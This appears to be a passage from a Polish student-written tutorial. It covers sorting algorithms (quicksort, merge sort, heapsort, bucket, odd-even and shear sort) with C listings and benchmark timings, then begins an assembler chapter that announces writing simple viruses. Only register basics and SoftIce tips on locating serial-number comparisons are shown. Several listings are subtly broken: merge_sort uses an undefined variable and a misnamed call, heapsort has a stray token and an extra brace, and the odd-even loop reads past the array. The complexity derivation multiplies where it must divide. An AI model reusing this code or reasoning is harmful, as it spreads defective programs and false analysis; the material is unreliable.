W wielu książkach, a napewno w Knuth’cie, znajdziemy pełne matematyczne dowody faktu, że QuickSort jest $O(n \log n)$ w średnim przypadku. Ja jednakże dla przejrzystości opisu użyję mniej sformalizowanego wytłumaczenia czemu tak jest.

Załóżmy, że wybieramy element osiowy losowo spośród n elementów. Połowę czasu element osiowy będzie ze środkowej połowy tablicy. Jako środkową połowę rozumiem tu przedział $A = (\frac{n}{4}, \frac{3n}{4})$.

Za każdym razem gdy pivot należy do A to pozostała część tablicy zawiera conajwyżej $\frac{3n}{4}$ elementów ($1 - \frac{n}{4}$).

Jeśli założymy, że element osiowy zawsze $\in A$ to jaka jest największa ilość podziałów potrzebna do podzielenia tablicy na 1 elementowe tablice?

$$(3/4)^l \cdot n = 1 \Rightarrow n = (4/3)^l$$

$$\log n = l \log(4/3)$$

$$\text{a więc } l = \log(4/3) \cdot \log n < 2 \log n$$

tyle dobrych podziałów wystarcza.

Co najwyżej $2 \log n$ dobrych podziałów wystarcza aby posortować tablicę n elementów.

Teraz zbadajmy jak często wybierany element jako osiowy wygeneruje dobry podział?

Ponieważ każdy numer $\in A$ będzie dobrym elementem osiowym, połową naszych wyborów (a więc czasu) będzie dobry pivot.

Jeśli potrzebujemy $2 \log n$ poziomów dobrych podziałów, aby zakończyć proces sortowania i połowa losowo wybranych osi jest „ładna” to na podstawie analizy tej rekurencji dochodzimy do wniosku, iż średnio tablica ma $\approx 4 \log n$ poziomów.

Ponieważ praca równa $O(n)$ jest wykonywana na podziały na każdym poziomie (a jest ich ok. $\log n$, gdyż O -notacja „zjadła” 4), więc $O(n \cdot \log n)$.

Bardziej wnikliwie analizy pokazują, że oczekiwana ilość porównań to $\approx 1,38n \log n$.

Jaki jest ten najgorszy przypadek?

Najgorszy przypadek dla QuickSorta zależy od tego w jaki sposób wybieramy pivot. Jeśli zawsze wybieramy pierwszy lub ostatni element (pod)tablicy to najgorszy przypadek będzie gdy tablica jest już posortowana.

```

A B D F H J K
  B D F H J K
    D F H J K
      F H J K
        H J K
          J K
            K

```

Rysunek 3.1: Posortowana tablica a QuickSort

Taki nie przyjemny przypadek ilustruje ryc. 3.1. W tym przypadku wybieramy jako osiowy zawsze element położony na lewy krańcu tablicy. W wyniku tego dla 7 elementowej tablicy rozłożenie jej na części pierwsze zajmuje aż 7 etapów.

Aby wyeliminować ten problem, wybierzmy lepszy element osiowy. Jak to zrobić:

1. Użyj środkowego elementu aktualnie analizowanej tablicy.
2. Użyj losowo wybranego elementu aktualnie analizowanej tablicy.
3. Prawdopodobnie najlepsze ze wszystkich. Weź medianę z tych trzech elementów: pierwszy, ostatni, środkowy jako oś.

Którękolwiek sposobu wyboru nie zastosujemy najgorszy przypadek może zainstnieć. Jednakże używając bardziej skomplikowany algorytm wyboru pivot'a, redukujemy realne prawdopodobieństwo wystąpienia najgorszego przypadku. Wynika to z tego, że wtedy ten najgorszy przypadek nie jest żadnym z naturalnych ułożeń danych wejściowych (posortowane, odwrotnie posortowane, itp.).

Jaka z tego płynie konkluzja? Bardzo prosta, dobra i zła jednocześnie. A mianowicie: dla losowego pivota nie można podać *a priori* najgorszego przypadku. Jednakże ma to też tę wadę, iż dla naszego pivota możemy trafić na zły przypadek, który dla innego pivota byłby wcale niezły.

3.4.1 Quick + bubbles = Qubble

Na listingu 3.4.2 prezentuję zapowiedziane we wstępie skrzyżowanie sortowania bąbelkowego oraz QuickSorta. Ta hybryda uzyskuje nieznacznie (!) lepsze wyniki niż „goły” QuickSort.

3.5 Sortowanie przez scalanie

Jest to bardzo dobry algorytm. Opiera on się na podobnej zasadzie dekompozycji problemu na „pól” jak QuickSort.

Całą procedurę sortowania możemy podzielić na 2 etapy.

Listing 3.4.2 Quicksort i sortowanie bąbelkowe

```
void qsortuj(int *tab, int lewa, int prawa){
if ((prawa - lewa) <=6 ) {
    bsortuj(tab, lewa, prawa);
    return;
}
if (lewa < prawa) {
    int m = lewa;
    for (int i = lewa+1; i <= prawa; i++)
        if (tab[i] < tab[lewa])
            zamien(tab, ++m, i);

    zamien(tab, lewa, m);
    qsortuj(tab, lewa, m-1);
    qsortuj(tab, m+1, prawa);
} /* koniec if'a głównego */
} /* koniec sortuj */

void bsortuj(int *tab, int lewa, int prawa) {
for (int j=prawa; j > lewa; j--)
    for (int i=lewa; i < j; i++)
        if (tab[i] > tab[i+1])
            zamien(tab, i, i+1);
}
```

1. Dzielenie tablicy na dwie połówki. Odbywa się ono, aż otrzymamy tablice 2 elementowe lub (zależnie od implementacji) 1 elementowe.
2. Połączenie fragmentów tablicy, z wykorzystaniem faktu, iż obie połówki są już posortowane.

Tutaj fundamentalne znaczenie ma funkcja, która łączy ze sobą 2 kawałki posortowanych tablic.

Teraz już tylko fragmenty kodu. Funkcja, która dzieli naszą tablicę na mniejsze jest na listingu 3.5.1.

Listing 3.5.1 Sortowanie przez scalanie (1)

```
void merge_sort(int *tab, int ile){
if (n > 1){
int k = (int) ile/2;
mergesort(tab, k);
mergesort(tab+k, n-k);
merge(n,k,tab,pomocnicza);
}
} /* koniec merge_sort */
```

Jak widać, funkcja `merge_sort()` otrzymuje 2 argumenty. Po pierwsze ilość elementów w tablicy, po wtóre wskaźnik do pierwszego z nich. Cała prawie funkcja składa się z dwóch rekurencyjnych wywołań. Pierwsze (`merge_sort(tab, k)`) przekazuje jej pierwszą połowę tablicy `tab`; drugie przekazuje jej ilość pozostałych elementów, oraz wskaźnik do fragmentu tablicy zaczynającego się od `k`-tego elementu.

A to jest podstawowy etap całego sortowania, czyli scalenie tablicy. Zostało ono ukazane na listingu 3.5.2.

Funkcja scalająca nie jest skomplikowana. Korzysta ona z pomocniczej tablicy, w którą zapisuje sobie wynik. Jak działa tak dokładnie? Przegląda kolejno odpowiednie fragmenty (te do scalenia) tablicy wejściowej i je porównuje, a mniejszy element wstawia do tablicy wyjściowej. Tym zajmuje się główna pętla `while`. Co robi ta druga? Ona jest odpowiedzialna za te elementy, których jest więcej w jednej pod-tablicy niż w drugiej. A ostatnia pętla `for` tylko kopiuje kolejno elementy tablicy pomocniczej to wyjściowej.

3.6 Inne

3.6.1 Heap-sort

Heap-sort znane jest po polsku jako sortowanie stertowe, stogowe lub *Sortowanie przez kopcowanie*. Wszystkie nazwy odnoszą się do tego samego, stosunkowo szybkiego algorytmu. Związany jest on bez wątpienia z samą strukturą sterty.

HeapSort bez wątpienia wymaga głębszego omówienia...

Warto zauważyć, iż program (listing 3.6.1) składa się z dwóch funkcji.

Listing 3.5.2 Sortowanie przez scalanie (2)

```
int pomocnicza[MAX];
void merge(int ile, int k, int *tab, int *pomocnicza){
int i = 0;
int j = k;
int l = 0;
while (i < k && j < ile) {
    if (tab[i] < tab[j]) {
        pomocnicza[l++] = tab[i++];
    } else {
        pomocnicza[l++] = tab[j++];
    }
}

while (i < k)
    pomocnicza[l++] = tab[i++];

for(i = 0; i < j; i++)
    tab[i] = pomocnicza[i];
} /* koniec merge */
```

3.6.2 Selection-sort

Innym stosunkowo prostym algorytmem jest bez wątpienia sortowanie przez wybieranie. Jest to powolny algorytm ($O(n^2)$), jednakże bardzo prosty w budowie. W każdym przebiegu głównej pętli poszukujemy najmniejszej wartości w całej tablicy i jeśli ją znajdziemy to wkładamy na kolejne wolne miejsce. Całą funkcję prezentuje listing 3.6.2.

3.6.3 Sortowanie kubełkowe

Sortowanie kubełkowe (ang. *bucket sort*) jest bardzo szybkim algorytmem w pewnym sensie podobnym do sortowania przez wybieranie. Sortowanie kubełkowe ma jednak szereg ograniczeń. Jest dość pamięciożerne oraz musimy *a priori* sortowania ustalić nasze „kubełki”, a więc musimy znać rozkład naszych danych wejściowych. Jak on działa? Liczby, które chcemy przesortować winny należeć do $[0, 1)$ i być w miarę równo po tym przedziale rozrzucone. To „w miarę” nie oznacza, że dla „nie w miarę” algorytm nie zadziała, tylko im bardziej równomiernie są one rozrzucone tym wyższa jest wydajność tego algorytmu. Algorytm jako taki opiera się na dokonaniu podziału przedziału jednostkowego $[0, 1)$ na równe podprzedziały — kubełki. Teraz do każdego kubełka jest wrzucana odpowiadająca mu liczba. Gdy już każda liczba znajduje się w odpowiednim kubełku dokonujemy, zwykle prostego, sortowania wewnątrz kubełków stosując dowolny algorytm. W ten sposób otrzymujemy już posortowany wynik.

Jednakże używając tego algorytmu musimy być przygotowani do korzystania z pewnych sztuczek. Jeśli musimy posortować liczby spoza jednostkowego przedziału to należy nasze wejściowe liczby przeskalować. Najłatwiej dokonać tego dzieląc wszystkie przez liczbę największa powięk-

Listing 3.6.1 Sortowanie przez kopcowanie

```
void sortuj(int *tab, int ile){
int n = ile;
for (int k = n/2; k > 0; k--){
    downheap(tab, k, n);
}

do{
    int t = tab[0];
    tab[0] = tab[n-1];
    tab[n-1] = t;
    n--;
    downheap(tab, 1, n);
} while (n > 1);
} /* koniec sort */

void downheap(int *tab, int k, int n){
int t = tab[k-1];
q
while (k <= n / 2) {
    int j = k + k;

    if ((j < n) && (tab[j-1] < tab[j]))
        j++;

    if (t > tab[j-1]) {
        break;
    }else{
        tab[k-1] = tab[j-1];
        k=j;
    }
}
tab[k-1] = t;
}
} /* koniec downheap */
```

Listing 3.6.2 Sortowanie przez wybieranie

```
void selectionsortuj(int *tab, int ile){
for (int i = 0; i < ile; i++) {
    int min = i;
    int j;
    for (j = i+1; j < ile; j++)
        if (tab[j] < tab[min])
            min = j;

    zamien(tab, min, i);
}
} /* koniec */
```

szoną o 1. Dzięki temu wybiegowi wszystkie liczby będą mniejsze od 1. Jedyne na co należy jeszcze uważać to największa liczba, bo gdy postąpimy z nią tak jak z wszystkimi innymi to nie będzie ona należeć do naszego prawostronnie otwartego przedziału jednostowego. A zatem możemy np. do niej nie dodawać jedynki, bądź też stosować jakąś bardziej wymyślną metodę przeskalowywania liczb do przedziału.

Sam algorytm jest bardzo szybki, jednakże dużo tracimy na przygotowania. Po pierwsze potrzebujemy sporo pamięci. Po wtóre musimy znaleźć największy element tablicy. Zajmie nam to n porównań dla tablicy o n liczbach. Następnie musimy wszystkie n elementów przeskalować (to również kosztuje czas). Ponadto nasze operacje porównania w trakcie właściwego sortowania będą również wolniejsze ze względu na to, iż współczesne procesory mają szybsze/więcej jednostek stałoprzecinkowych niż zmiennoprzecinkowych. Tak więc pomimo dużej prędkości algorytmu jako takiego (liniowy z dużym współczynnikiem) narzuty związane z przygotowaniem danych powodują, iż korzystanie z jego jest czasochłonne i błędogenne.

3.7 Przetwarzanie równoległe

Te lepsze algorytmy stosują pewną technikę programistyczną zwaną „dziel-i-zwyciężaj”. Czasem jest ona nazywana mianem „dziel-i-rządź”, ale cały czas chodzi o to samo. Po angielsku jest ona zwana poprostu „Divide & Conquer”. Zasadnicza jej idea jest stosunkowo prosta i sprowadza się do odpowiedniego podziału problemu początkowego na mniejsze, a co za tym idzie łatwiejsze do rozwiązania problemy.

Warto dodać, iż bardziej zaawansowane algorytmy (np. *Quicksort* i *Mergesort*) mają pewną dodatkową zaletę ponad prostymi algorytmami. Dzięki rekurencjonowaniu i przetwarzaniu fragmentów tablic niezależnie można je zrównoleglić. Pozwala to uzyskać znaczny wzrost wydajności. W większości przypadków otrzymujemy *prawie* liniowy wzrost wydajności! Oznacza to, iż jeśli na jednostkowym sprzęcie sortowaliśmy jakąś ogromną tablicę 48 godzin (całe 2 doby), to na 16 sztukach jednostowego sprzętu zrobimy to w zaledwie 3 godziny. A najlepsze z tego jest to, iż możemy to tak przyspieszać praktycznie bez granic, a więc na 64 zrównoleglonych komputerach policzymy to w zaledwie 45 minut, a więc 64 razy szybciej niż na 1 sztuce. A zatem nie dość, iż *Quicksort* i *Mergesort* są szybkie niejako same z siebie, to dodatkowo można jeszcze przyspieszyć

ich czas wykonania poprzez rozdzielenie pracy na wiele komputerów.

W przypadku tych algorytmów odbywa się to dość prosto. Prostu każda jednostka otrzymuje np. $1/64$ całej tablicy i ją sobie sortuje. Końcowy etap scalania względnie małych obszarów przebiega stosunkowo szybko. Dla *Mergesort'a* wykonywanego w *klastrze* można wprowadzić pewnien podział komputerów. Dla przykładu dla 64 jednostek obliczeniowych, wyznaczymy 4 *kontrolery grupy*, a dla każdej grupy po 4 *kontrolery podgrupy*. Każdy kontroler będzie odpowiedzialny za scalanie fragmentów tablicy otrzymanych od swoich 4 „podwładnych” komputerów. Dzięki takiemu podziałowi pracy można uzyskać prawie liniowy przyrost wydajności wraz ze wzrostem liczby urządzeń.

Powoduje to, iż przy posiadaniu hipotetycznie liczby procesorów (lub innych jednostkowych układów przetwarzających) równej złożoności problemu (rozmiarowi tablicy) możemy otrzymać *liniowy* czas wykonania. Oznacza to, że przy n procesorów, czas również wynosi $O(n)$!

Znacznie trudniejsze może być zrównoleglenie sortowania bąbelkowego. Zauważmy, iż podzielenie tablicy na fragmenty wiele nie da, gdyż potem łączenie ich będzie bardzo kosztowne przy pomocy bąbelków a przecież o to chodzi. Ponadto sortowanie bąbelkowe będzie jako takie wolniejsze od *Mergesort'a*.

Istnieją też algortymy tworzone z założenia do obliczeń równoległych. Są to chociażby: *Odd-Even Transposition Sort* i *Shear Sort*. Jest oczywiście takich algorytmów bardzo wiele, jednak znaczna ich ilość jest stosunkowo skomplikowana pod względem zarówno koncepcyjnym jak i przedstawia znaczne trudności matematyczne przy pokazywaniu jakiej są klasy. Część z nich korzysta też z dość abstrakcyjnych pojęć i struktur, które mogłyby okazać się nie banalne dla czytelnika. Ogólnie tematyka algorytmów równoległych została poruszona w [13] i [12].

3.7.1 Odd-Even Transposition Sort

Algorytm ten po polsku nosi nie wiele mówiącą nazwę, a mianowicie sortowanie parzysto-nieparzyste. Przed przystąpieniem do rozważań wprowadzimy pewne nowe określenie — *komparatora*. Komparatorem nazywamy dowolnie prosty układ (nie koniecznie elektroniczny, chociaż najczęściej), zdolny do porównania dwóch informacji (sygnałów, liczb) i określenia, która jest większa, a która mniejsza. Tak określone urządzenie niech będzie dla nas czarną skrzynką, w którą wrzucamy dwie liczby i z której wypada jednym wyjściem liczba większa, a drugim mniejsza. Wewnętrzna organizacja skrzynki nas nie interesuje, w dzisiejszej rzeczywistości będzie to najczęściej specjalizowany układ scalony, a czasem zwykły komputerowy procesor. Jednakże dla naszych rozważań możemy równie dobrze przyjąć, że w środku siedzi krasnoludek i wybiera większą liczbę.

Dla ułatwienia przyjmijmy początkowo, że do posortowania tablicy n liczb mamy do dyspozycji n komparatorów (procesorów). Sortowanie tym algorytmem jest w pewnym sensie podobne do sortowania przez scalanie; odbywa się dwuetapowo. Składa się z funkcji odpowiedzialnej za posortowanie jakiegoś fragmentu tablicy, oraz funkcji, która scala wyniki uzyskane z poprzedniego etapu.

Sortowanie odbywa się w dość prosty sposób. Załóżmy, że mamy parzystą ilość (n) elementów do posortowania w tablicy (a_n). (Tak, to jest przecież ciąg.) W pierwszej fazie porównujemy liczby a_1 z a_2 , a_3 z a_4 , \dots , a_{n-1} z a_n i mniejszy z każdej pary wstawiamy w miejsce o mniejszym indeksie (czyli obrazowo rzecz biorąc po lewej stronie, chociaż tak na prawdę to nie ma znaczenia). Teraz przystępujemy do drugiej fazy, dokonujemy w niej porównań elementów a_2 z a_3 , a_4 z a_5 , \dots , a_{n-2} z a_{n-1} i znowu mniejszy do lewego wstawiamy.

Nieźle ilustruje to poniższy przykład. 0 jest to sytuacja początkowa. - oznacza, iż dokonujemy porównania tych dwóch elementów (linie a) i w linii b mamy je zamienione jeśli element prawy mniejszy od lewego.

0) 2 4 1 8 3 9 7 5

1a) 2-4 1-8 3-9 7-5

1b) 2 4 1 8 3 9 5 7

2a) 2 4-1 8-3 9-5 7

2b) 2 1 4 3 8 5 9 7

3a) 2-1 4-3 8-5 9-7

3b) 1 2 3 4 5 8 7 9

4a) 1 2-3 4-5 8-7 9

4b) 1 2 3 4 5 7 8 9

Bardzo łatwo jest napisać ten algorytm dla jednego procesora, a więc nie wykorzystując jego możliwości zrównoleglenia obliczeń. Niestety taki algorytm jest klasy $O(n^2)$ i daje podobne wyniki czasowe jak sortowanie bąbelkowe. Przykładową implementację pokazuje listing 3.7.1.

Listing 3.7.1 Sortowanie Odd-Even

```
void sortuj(int *tab){
for (int j=0; j<MAX; j++){
    for (int i=0; i<MAX; i+=2)
        if(tab[i] > tab[i+1])
            zamien(tab,i,i+1);
    for (int i=1; i<MAX; i+=2)
        if(tab[i] > tab[i+1])
            zamien(tab,i,i+1);
}
} // koniec sortuj
```

Oczywiście gdyby ten algorytm miał zawsze uzyskiwać tak słabą wydajność to nikt by się nim nie zainteresował. Jego możliwości możemy poznać dopiero w środowiskach wieloprocesorowych. Jak to się dzieje. Jeśli założymy, że n procesorów ma jednocześnie dostęp do całej tablicy n elementowej to można łatwo podzielić pracę między je. Każdy cykl pracy całego zespołu możemy podzielić na 2 etapy. W pierwszym etapie procesor i -ty porównuje a_{2i-1} z a_{2i} (i mniejsze wstawia w a_{2i-1}). Następnie ten sam procesor porównuje element a_{2i} z a_{2i+1} . I teraz cykl się powtarza.

Wracając do algorytmu; najgorszy przypadek to $O(n)$ przy uruchomieniu na n procesorach. Jego absolutna prędkość to $O(\log n)$, a więc jego wydajność wynosi $O((\log n)/n)$.

Przy okazji warto wprowadzić pojęcie sieci sortującej... Więcej o tym algorytmie można znaleźć w [11] i [9].

3.7.2 Shear Sort

The author gratefully acknowledges support of Prof. Isaac D. Scherson of University of California in preparing this section, especially by providing the author with his paper [6].

Jego polską nazwę, a mianowicie „sortowanie przez wycinanie” sam wymyśliłem. Jest to związane z niedoborem terminologii z zakresu przetwarzania równoległego w języku polskim. Opieram moją nazwę na tłumaczeniu angielskiego słowa *shear* oraz analizie głównej idei algorytmu.

Jest to jeden z podstawowych algorytmów równoległych operujących bardziej zaawansowanymi strukturami i metodami. Jest on swojego rodzaju podstawą do bardzo zaawansowanych algorytmów.

Podstawową nowością z jaką mamy do czynienia tutaj jest zmiana obiektu, który zamierzamy sortować. Poprzednio była to tablica liniowa (tj. $1 \times n$), teraz będzie to tablica $n \times n$.

Mówiąc w skrócie, jest to algorytm równoległy, którego najgorszy przypadek dla n procesorów wynosi $O(n^{1/2} \log n)$. Jego absolutna prędkość wynosi więc $O(n^{1/2})$, a zatem efektywność to $O(1/n^{1/2})$.

Jak działa sam algorytm? Tak w skrócie dokonujemy sortowania różnych fragmentów tablicy. Początkowo sortujemy wiersze, jednakże w specjany sposób. Wiersze o numerach nieparzystych sortujemy tak, aby najmniejszy element wiersza znalazł się po lewej stronie. Wiersze natomiast parzyste sortujemy, aby największy znalazł się po lewej stronie. Teraz przystępujemy do fazy drugiej. Sortujemy wszystkie kolumny tak, aby najmniejsze wartości wleciały do góry. Po kilku takich cyklach uzyskujemy tablicę posortowaną w tzw. *snake-order*. Oznacza to, iż czytanie rozpoczynamy od komórki $(1, 1)$, przechodzimy do $(1, n)$, a potem do $(2, n)$ i teraz się cofamy w 2 wierszu aż do $(2, 1)$. Teraz znowu wiersz w dół, czyli $(3, 1)$ i do końca w prawo $(3, n)$. Prawda, że nie trudne?

Oczywiście będzie tu więcej...Aktualnie jeszcze trawię artykuł Schersona.

3.8 Podsumowanie

Łatwo zauważyć, iż jest ogromna ilość różnorodnych algorytmów sortowania. Poza zaprezentowanymi tu istnieje z pewnością wiele innych. Te, które zostały tu przedstawione cechują się bez wątpienia znaczną prostotą, wydajnością lub są szczególnie interesujące z algorytmicznego punktu widzenia.

Każdy ma swoje wady i zalety w praktycznym stosowaniu. Do najszybszych należą *sortowanie przez scalanie* i *Quicksort*. Szybszy, w średnim przypadku, jest *Quicksort*. Dużą zaletą *Mergesort'a* jest jego kompletna niepodatność na konfigurację danych. Nie zależnie od ich ułożenia wykona się w czasie zależnym od $O(n \log n)$. Poważną jego wadą jest zapotrzebowanie na dodatkową pamięć o rozmiarze równym sortowanej tablicy. *Quicksort* natomiast w przypadku „parszywie” ułożonych danych (tzn. w odwrotnej kolejności posortowanych a może w innej, jeszcze nie wiem) i niefortownie wybranej osi zbliża się do czasu $O(n^2)$. W średnim przypadku zarówno *Quicksort* jak i *Mergesort* są logarytmiczne.

Ogromną zaletą większości algorytmów klasy $O(n^2)$ jest bez wątpienia ich prostota implementacyjna. Nawet nie bardzo wprawny uczeń szkoły średniej, po lekturze tego opracowania i kilkuminutowemu zastanowieniu się, powinien być w stanie spisać np. *sortowanie bąbelkowe* z pamięci. Tak więc dużym plusem tych algorytmów jest ich prostota, która zmniejsza prawdopo-

dobieństwo pomyłki. Dlatego też, do posortowania 10, 100, a nawet 1000 elementów nie warto stosować bardzo szybkie algorytmy. Jest to związane z ciągle rozwijającą się technologią. Nawet najwolniejszy algorytm na obecnych komputerach (Pentium4 ok. 2,66GHz) wykona się w mgnieniu oka. Nie warto w związku z tym tracić czasu na wpisywanie większych obiętościowo algorytmów „szybszych”. Różnice przy obecnym sprzęcie pojawiają się dopiero przy tablicach rzędu 100000. Krótkie testy potwierdziły oczywiście wyższość *Quicksort*'a nad sortowaniem bąbelkowym.

Przeprowadziłem dotychczas krótkie testy porównawcze, których wyniki prezentuję poniżej. Zaznaczam, iż testy będą kontynuowane.

Plik wejściowy: 500000 liczb z zakresu [1, 200 000].

- **PIII 700** — całkowity czas wykonania qsort to ok. 7,7 sek. z czego 5 sek. jest zużywane na zapis i odczyt tabeli z dysku
- **PIII 700** — Mergesort. ok. 3 sekundy obliczenia, ok. 5 sek. odczyt/zapis na dyski. A więc o ok. 0,25 sek. gorzej od QuickSorta.
- **P4 2.4** — Bubble-sort. Trochę ponad 70 minut.
- **P4 2.4** — QuickSort łącznie ok. 4,8 sek. z czego 3,3 sek. na I/O
- **P4 2.4** — MergeSort łącznie ok. 4,9 sek. z czego 3,3 sek. na I/O

Dowodzi to prostego stwierdzenia, iż *prawie* zawsze, i w prawie każdych granicach nawet bardzo szybki sprzęt ze słabym algorytmem będzie wolniejszy od przeciętnego sprzętu z bardzo dobrym algorytmem. Widać tu wyraźnie, że QuickSort i MergeSort (a tak poza tym to jeszcze nie uwzględniony tu HeapSort) są algorytmami klasy $O(n \log n)$ i niezależnie od tego na jakim sprzęcie by poszły to raczej uzyskają lepszy wynik niż algorytm $O(n^2)$. Dowodzi to, iż dobór należytego algorytmu to podstawa.

3.8.1 Pomiary praktyczne

Jak wiadomo najlepsze efekty dają testy na polu walki, a więc w rzeczywistości. Na początek opiszemy nasze platformy testowe:

paf73 Sprzęt: Pentium III @ 700 MHz (7x100), 512MB SDRAM (4xKingston), dyski: Seagate Barracuda ATA III (40GB) i IV (80GB) (UDMA-100), wszystko na płycie Asus P3B-F
Oprogramowanie: RedHat 7.2, kernel 2.4.20-28.7, skompilowano przy pomocy gcc ver. 2.96

rosamund Sprzęt: Pentium IV @ 2400MHz (6x4x100), 512MB DDR (2x256), dysk Hitachi/IBM 30GB (UDMA-100), w laptopie Gericom Webshox.
Oprogramowanie: RedHat 9, kernel 2.4.20-18.9, skompilowano przy pomocy gcc ver. 3.2.2

tiger Sprzęt: microSPARC II @ 70MHz (2x35), 64MB SDRAM (2xKingston), dyski: Seagate 4GB (Barracuda 4LP) i 2GB (Hawk 2LP) (Fast-SCSI-2), wszystko jest to Sun SPARCstation 5.
Oprogramowanie: SunOS 5.4 (Solaris 2.4), kernel: Generic_151094-10, skompilowano przy pomocy gcc ver. 2.95.2

routerek Sprzęt: Celeron @ 400MHz (6x66), 192MB SDRAM (3x64), dysk Seagate ST34311A (4GB) (UDMA-66)

Oprogramowanie: RedHat 9, kernel 2.4.20-24.9, skompilowano przy pomocy gcc ver. 3.2.2

jawor Sprzęt: 2 x UltraSPARC II @ 400MHz (spr), 512MB, macierz RAID-5 (3x9GB, 3x36GB) (Ultra-SCSI-2), jest to Sun Enterprise 250.

Oprogramowanie: SunOS 5.8 (Solaris 8), kernel: Generic_108528_12 64-bit, gcc (spr)

csd Sprzęt: 2 x Pentium III @ 933 MHz (7x133), 512MB, dyski SCSI ok. 60GB w macierzy RAID-5, wszystko to jakiś DellPowerEdge

Oprogramowanie: debian linux, kernel: 2.6.1, gcc (spr)

csd1 Sprzęt: UltraSPARC II @ 270MHz (3x90), 128MB (spr), dysk (spr), razem to Sun Ultra 5.

Oprogramowanie: SunOS 5.6 (Solaris 2.6) (spr), kernel: (spr), gcc (spr)

mail Sprzęt: Pentium II @ 400MHz (4x100), 768MB SDRAM (3x256), dyski: HP 8GB i 4GB (Ultra-SCSI), wszystko to jakiś DellPowerEdge

Oprogramowanie: Slackware 8, kernel 2.2.23, skompilowano przy pomocy gcc ver. 3.3.3

Mariusz Sprzęt: Celeron @ 1700MHz (4.25x4x100), 256MB DDR (2x128), płyta Intel 845-g?, dysk Seagate Barracuda ATA IV (80GB) (UDMA-100)

Oprogramowanie: Fedora Core 1, kernel 2.4.22-1.2115.nptl, skompilowano przy pomocy gcc. 3.3.2

ladys Sprzęt: Pentium MMX @ 200MHz (4x50 ?), 64MB ?, dysk ? Oprogramowanie: RedHat 7.2, kernel: 2.4.7, gcc ?

Jak widać wśród naszych 10 komputerów mamy wiele rodzajów sprzętu. Są zarówno proste PC'ty z jednym procesorem, jak i wieloprocesorowe serwery UNIX'owe. Testy zostały już częściowo przeprowadzone, jednak wciąż brakuje pewnych danych odnośnie platform testowych ze względu na moja gapowatość...

Część wyników jakie uzyskano chwilowo jest prezentowana w takiej formie, później może będą w tabelce:

paf73 Bubbles: 1h24m45s, QSort: 1s, MergeSort: 1s

rosamund Bubbles: 37m50s, QSort: <1s, MergeSort: <1s

tiger Bubbles: 5h12m21s, QSort: 3s, MergeSort: 4s

csd1 Bubbles: 2h5m46s, QSort: <1s, MergeSort: 1s

mail Bubbles: 1h28m1s, QSort: <1s, MergeSort: <1s

Jakie płyną z tego wnioski? To się dopisze... Na pewno widać wyraźną przewagę procesorów z rodziny SPARC ponad Intelopodobnymi. Przy zegarze 70MHz uzyskany przez tigera czas (ok. 310minut) wcale nie jest 10 razy gorszy od wyniku PIII 700. Co ciekawe, nawet PIV 2,4 (szybsze zegarowo prawie 35razy!!!) nie uzyskało czasu 10 razy lepszego. Podobna sytuacja ma miejsce z UltraSPARC'iem 270MHz. Prawie 3 razy szybszy (zegarowo) PIII 700 uzyskał ledwo 40 minut lepszy czas.

Część II

Assembler i Wirusy

Rozdział 4

Zbyt krótkie wprowadzenie do Assemblera

Słowo wstępne

Hmm, ta część miała być początkowo bardziej rozbudowana, ale ze względu na brak czasu spowodowany licznymi obowiązkami ucznia klasy IV LO musiałem ją skrócić. Może kiedyś coś dopiszę :) Jakby ktoś nie załapał do końca o co chodzi z tym Assemblerem to niech kupi sobie jakąś kniegę. W tej części poznamy podstawy Assemblera oraz wykorzystamy je w praktyce. Napišemy kilka prostych wirusów komputerowych.

4.1 Krótki kurs Assemblera

4.1.1 Rejestry

Rejestry są podstawowym miejscem przechowywania danych. Są to 16-bitowe komórki procesora. Jest 14 rejestrów i w tym 12 rejestrów danych i adresowych, rejestr wskaźnika instrukcji (IP) i rejestr znaczników. Rejestry danych i adresowych dla najbardziej podstawowego procesora Intel 8086 zostały przedstawione w tabeli 4.1.

Jak oczywiście każdy się zorientował przy pracy w Win32 rejestry określane są jako EAX, EBX, itd. Oznacza to, że są to odpowiedniki powyższych rejestrów, tyle, iż 32 bitowe.

Chwila wyjaśnienia z tymi bitami. Weźmy rejestr AX, który jest 16 bitowy i dzieli się na dwa podrejestry 8 bitowe AH i AL. Jak wiemy 8 bitów tworzy bajt, który przyjmuje wartość od 0 do 255, czyli rejestr AH i AL może mieć największą wartość FFh. Logicznie myślarz (-:) rejestr 16 bitowy może przyjąć maksymalną wartość FFFFh itd. (32 bit EAX może mieć max FFFFFFFFh ups-:)). Chyba każdy łapie co dają 32 bitowe rejestry i jak zwiększają się możliwości. Oznacza to, że zawartość AX to taki zlepek AL i AH. AL=17h i AH=13h to AX=1713h.

Warto zapoznać się z charakterystykami rejestrów, gdyż każdy ma swoje własne konkretne zastosowanie. Przeglądając i analizując kod programu możemy zauważyć pewne prawidłowości, np.

- EIP — debugując pod SoftIce 32bit widzimy, że rejestr ten wskazuje na aktualny kod wykonywanej instrukcji i możemy go użyć np. do założenia pułapki na danej linii czyli bpx EIP lub dokładniej CS:EIP.

AX (akumulator) BX (bazowy) CX (licznik) DX (danych)	Rejestry ogólnego przenaczenia
SP (wskaźnik stosu) BP (wskaźnik bazy) SI (indeks źródła) DI (indeks przeznaczenia)	Rejestry wskaźnikowe i indeksowe
CS (programu) DS (danych) SS (stosu) ES (dodatkowy)	Rejestry segmentowe
IP (wskaźnik instrukcji) I (rejestr znaczników)	

Tabela 4.1: Rejestry procesora

- CS — wskazuje segment kodu, czyli jak mamy linię kodu o adresie np. 14F:04033232 to możemy ją zapisać jako CS:04033232 ponieważ w rejestrze CS jest zachowana wartość 014F.
- DS — podobnie jak powyżej, zawiera adres segmentu danych, jeżeli w okienku danych pod SoftIce mamy jakiś adres np. 0145:03055555 to DS wskazuje segment 0145.
- ESI i EDI są wskaźnikami danych np. do porównań tekstów itp. Weźmy np. instrukcję porównywania w bibliotekach VB — `reps cmpsw dla`, których w `ds:esi` i `es:edi` zawarte są adresy tekstów (np. numerów seryjnych) do porównania. To samo dotyczy wielu instrukcji przesyłania i porównywania danych, gdzie przeznaczenie i cel zawarte są w rejestrach SI i DI np:

```
LEA SI, Zrodlo           ;Zaladowanie adresu zrodla
LEA DI, ES:Przeznaczenie ;Zaladowanie adresu przezanczenia

MOV CX,100              ;Zaladowanie licznika elementow
MOVS Przeznaczenie,Zrodlo ;Kopiowanie tekstu z jednego
                           ;miejsca w innne.
```

4.1.2 Rejestry — specyfikacja architektury intela

